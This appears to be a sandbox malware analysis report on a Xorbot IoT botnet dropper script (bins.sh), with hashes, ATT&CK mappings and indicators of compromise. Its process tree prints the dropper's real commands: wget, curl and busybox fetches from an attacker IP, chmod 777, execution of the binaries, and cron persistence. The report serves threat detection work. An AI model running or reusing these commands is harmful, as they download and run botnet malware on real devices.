xorbot | 9a36958a4d26cded1d7d66285a93286e73a535ff7c20da542d734d8cc2f153d0

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30-11-2024 16:12

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General

Target

bins.sh
Size

10KB
MD5

ee91de469e47f5f54ebdfcf7ef65c3c6
SHA1

32d746051ea6c4a4e59a2aac00b2b4b280c6e9eb
SHA256

9a36958a4d26cded1d7d66285a93286e73a535ff7c20da542d734d8cc2f153d0
SHA512

95646d628867c5dd3bb1cda8620ee820a53eb67b39fcbaac0f348f8c0eb6e9663bdd2d521eb83bb2260b9fe33234cc5d37f5a09c0b04cc9db0e35dc4d6dc7b00
SSDEEP

96:rjYkn3/+UpxBJ8TaM/kn3cQH+188cPuYBJ86+NC/BKE:rjYkDBJ8TaMsBJ8JE

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot
behavioral1/files/fstream-9.dat	family_xorbot
behavioral1/files/fstream-11.dat	family_xorbot
behavioral1/files/fstream-13.dat	family_xorbot
behavioral1/files/fstream-15.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (826) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
1497	chmod
1504	chmod
1511	chmod
1518	chmod
1525	chmod
1532	chmod
1539	chmod
1546	chmod

Executes dropped EXE 8 IoCs

Processes:

aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meMWK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCHFRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KGSXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJg75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5gyD75YZkkS1dhe3iUMsi4hWa2W0VM1KgrpcxeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

ioc	pid	Process
/tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM	1498	aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
/tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1	1505	WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
/tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH	1512	tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
/tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG	1519	FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
/tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ	1526	SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
/tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g	1533	g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
/tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc	1540	yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
/tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib	1547	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

Renames itself 1 IoCs

Processes:

xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

pid	Process
1548	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.3BtbR2	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

description	ioc	Process
File opened for reading	/proc/1228/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1478/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1585/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1637/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1666/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/28/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1338/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1626/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/166/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1574/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/946/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1104/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1609/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1625/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1636/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/31/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/424/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1675/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/155/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/156/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/412/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1059/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1183/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1608/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/198/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1173/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1568/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1578/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1624/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/15/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/29/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1323/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1577/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1621/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1657/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1661/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/19/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/637/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1140/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1151/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1601/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1673/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1169/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1556/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1557/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1581/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1592/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1596/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1641/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1643/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1137/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1361/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/36/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/197/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1563/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1618/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1651/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1663/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/8/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/153/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/536/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/1586/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/406/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
File opened for reading	/proc/507/cmdline	xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlwgetbusyboxwgetbusyboxbusyboxwgetwgetcurlcurlcurlbusyboxwgetbusyboxcurlbusyboxcurlwgetwgetcurlbusyboxbusyboxcurl

description	ioc	Process
File opened for modification	/tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ	wget
File opened for modification	/tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ	curl
File opened for modification	/tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g	wget
File opened for modification	/tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc	busybox
File opened for modification	/tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM	wget
File opened for modification	/tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM	busybox
File opened for modification	/tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1	busybox
File opened for modification	/tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG	wget
File opened for modification	/tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc	wget
File opened for modification	/tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc	curl
File opened for modification	/tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1	curl
File opened for modification	/tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG	curl
File opened for modification	/tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ	busybox
File opened for modification	/tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib	wget
File opened for modification	/tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib	busybox
File opened for modification	/tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g	curl
File opened for modification	/tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g	busybox
File opened for modification	/tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM	curl
File opened for modification	/tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1	wget
File opened for modification	/tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH	wget
File opened for modification	/tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH	curl
File opened for modification	/tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH	busybox
File opened for modification	/tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG	busybox
File opened for modification	/tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1482
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1483
- /usr/bin/wget
  wget http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
  2⤵
  - Writes file to tmp directory
  PID:1484
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/chmod
  chmod 777 aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
  2⤵
  - File and Directory Permissions Modification
  PID:1497
- /tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
  ./aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
  2⤵
  - Executes dropped EXE
  PID:1498
- /bin/rm
  rm aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM
  2⤵
  PID:1500
- /usr/bin/wget
  wget http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
  2⤵
  - Writes file to tmp directory
  PID:1501
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod 777 WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
  ./WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
  2⤵
  - Executes dropped EXE
  PID:1505
- /bin/rm
  rm WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://216.126.231.240/bins/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod 777 tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
  ./tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
  2⤵
  - Executes dropped EXE
  PID:1512
- /bin/rm
  rm tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://216.126.231.240/bins/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod 777 FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
  ./FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
  2⤵
  - Executes dropped EXE
  PID:1519
- /bin/rm
  rm FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.240/bins/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
  2⤵
  - Writes file to tmp directory
  PID:1522
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod 777 SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
  ./SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
  2⤵
  - Executes dropped EXE
  PID:1526
- /bin/rm
  rm SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://216.126.231.240/bins/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
  2⤵
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod 777 g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
  ./g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
  2⤵
  - Executes dropped EXE
  PID:1533
- /bin/rm
  rm g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://216.126.231.240/bins/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod 777 yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
  ./yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
  2⤵
  - Executes dropped EXE
  PID:1540
- /bin/rm
  rm yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc
  2⤵
  PID:1542
- /usr/bin/wget
  wget http://216.126.231.240/bins/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
  2⤵
  - Writes file to tmp directory
  PID:1543
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod 777 xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
  ./xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1547
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1549
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1550
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1551
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1552
- /bin/rm
  rm xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib
  2⤵
  PID:1554
- /usr/bin/wget
  wget http://216.126.231.240/bins/gSn46tNCBMNa1iIuFwHfqEFyIjOcfi64Dx
  2⤵
  PID:1557

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/FRYtHnAeP26RZWUkPyaGAo4sXxfDKBw7KG

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/SXIEfxSwpIGkXiQZUALnmhNrrmDuJPkTNJ

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/WK7rsfBi3Z7mWLIJdz3lEzgXXKeJFsrqv1

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/aLcsnlXAcbZddHxLL4B8BuAQQXC2QE4meM

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/g75EZAB6mh9Sa65w3yYHOoNZZAgVCgUx5g

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/tMpCYaVgnJtOF7ZSAjdRSQa073fCd7PNCH

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/xeEk2L1p3c9CsZAsLOtz7d8q8sygZMRnib

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/yD75YZkkS1dhe3iUMsi4hWa2W0VM1Kgrpc

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/var/spool/cron/crontabs/tmp.3BtbR2

Filesize
210B

MD5
4bce34b9b960e0ca5e377b3daf3c6d4d

SHA1
828d8b7ca03f8f17ac9e36436a1624d3695393a3

SHA256
b83a4288e2227fcf3bac90d63f89742432d06d2c7fff4224cddfd7da4494dd93

SHA512
119533b2951e842a3ebfe677212d74c5b2aa0417f09b50d074c3e0115986cce3fcf397f971f4b143b86d2569eedcb0b0683af601482e0bb55ddcdf6a82670a58

Download Submit